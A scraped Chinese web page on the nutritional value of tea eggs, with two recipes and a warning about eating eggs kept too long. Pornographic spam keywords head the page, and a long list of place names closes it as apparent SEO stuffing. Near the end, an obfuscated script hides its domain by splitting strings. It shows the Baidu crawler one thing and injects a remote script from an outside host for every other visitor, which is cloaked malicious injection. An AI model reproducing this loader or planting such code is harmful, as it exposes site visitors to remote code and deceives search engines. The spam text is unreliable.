亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁(yè) > 飲食 > 食物營(yíng)養(yǎng) > 正文

茶葉蛋的營(yíng)養(yǎng)價(jià)值

2017-07-07 00:46:00  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):在大街小巷的小吃店里面到處都可以看的見(jiàn)茶葉蛋,茶葉蛋可是一種很出名的小吃,在我國(guó)的很多的地方都有 茶葉蛋是將普通的雞蛋跟很多的對(duì)人

在大街小巷的小吃店里面到處都可以看的見(jiàn)茶葉蛋,茶葉蛋可是一種很出名的小吃,在我國(guó)的很多的地方都有.茶葉蛋是將普通的雞蛋跟很多的對(duì)人體有很大的好處的藥材放在一起煮,然后再加上很多不同的香料等.茶葉蛋的營(yíng)養(yǎng)價(jià)值自然就不必說(shuō)了,它除了有雞蛋的營(yíng)養(yǎng)價(jià)值以外還有其它配料的營(yíng)養(yǎng)價(jià)值.

最早的茶葉蛋只是用茶葉和蛋一起煮,但是現(xiàn)在就不一樣了,煮茶葉蛋的材料花樣繁多.在制作茶葉蛋的時(shí)候如果想要讓茶葉蛋變的好吃的話那么在材料和時(shí)間上就要花一定的功夫了,因?yàn)椴枞~蛋是很難入味的,所以在時(shí)間上就比較長(zhǎng).

茶葉蛋,著名漢族小吃,中國(guó)的傳統(tǒng)食物之一,全國(guó)大部分地區(qū)都有該小吃.是煮制過(guò)程中加入茶葉的一種加味水煮蛋,因其做法簡(jiǎn)單,攜帶方便,多在車站、街頭巷尾,游客行人較多之處等場(chǎng)所置小鍋現(xiàn)煮現(xiàn)賣,物美價(jià)廉.可以做餐點(diǎn),閑暇時(shí)又可當(dāng)零食,實(shí)用和情趣都兼而有之.因?yàn)椴枞~有提神醒腦的功能,故在燙煮過(guò)程中加入少許茶葉,煮出來(lái)的蛋便色澤褐黃.然而,有專家指出,茶葉和雞蛋的搭配對(duì)胃有刺激,是不恰當(dāng)?shù)氖秤秒u蛋方法.

茶中含有咖啡因、單寧酸、氟化物等成分,綠茶則富含茶多酚.

雞蛋中則含豐富的氨基酸,蛋白質(zhì)和微量元素等,每天1~2個(gè),人體可以充分吸收它的營(yíng)養(yǎng).

做法一

原料:6個(gè)雞蛋、3個(gè)紅茶包、2枚八角(大料)、1小段桂皮、2粒丁香、2杯水、2小勺白糖5大勺醬油、1大勺王守義十三香、鹽適量

這個(gè)茶葉蛋最適合用電慢燉鍋(slow cooker)來(lái)做,不用看火,不用擔(dān)心燒干,安全又方便.

做法:雞蛋放冷水中煮,水開(kāi)后接著煮5分鐘;所有的調(diào)料放入慢燉鍋內(nèi);雞蛋煮好后撈出,輕輕敲裂蛋殼然后 放入慢燉鍋,用最小火燉一晚上;咬一口,茶香醬香很和諧的交織在一起,好吃極了!

做法二

材料:雞蛋500克(約8個(gè))、八角2粒、桂枝1大匙、甘草100克、紅茶葉半杯

調(diào)味料:醬油半杯

做法:

先將紅茶葉加水4杯燒開(kāi),改小火煮10分鐘,然后將茶葉撈除,茶湯中加入以紗布包好的八角、桂枝、甘草;

加入醬油調(diào)味,再放入雞蛋同煮,10分鐘后將雞蛋撈出,用筷子輕敲蛋殼,使其產(chǎn)生裂紋,再放回湯汁中煮10分鐘;

熄火后讓雞蛋留在茶汁中浸泡,至湯汁已涼再撈出.

不過(guò)還要提醒大家的是,茶葉蛋的營(yíng)養(yǎng)價(jià)值雖然是不低,但是如果茶葉蛋吃的太多的話對(duì)人體也會(huì)有不少的壞處.這是因?yàn)榇蠖鄶?shù)的茶葉蛋都不可能是在短時(shí)間內(nèi)制成,而且放置的時(shí)間也會(huì)很久,但是大家都知道雞蛋如果放久了再吃的話會(huì)有很多有害的物質(zhì)生成.所以最好是將做好的茶葉蛋盡快的吃掉.

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
利津县| 阿拉善右旗| 溧阳市| 兴海县| 香格里拉县| 天柱县| 嘉祥县| 玛纳斯县| 淮北市| 介休市| 平泉县| 故城县| 房产| 汉川市| 吴川市| 秦皇岛市| 日照市| 洱源县| 柯坪县| 江源县| 金沙县| 九台市| 唐河县| 普格县| 舟曲县| 涿鹿县| 玛纳斯县| 长汀县| 耿马| 岑巩县| 南康市| 竹溪县| 上蔡县| 大新县| 莆田市| 永昌县| 建德市| 连江县| 灵台县| 丹江口市| 洮南市|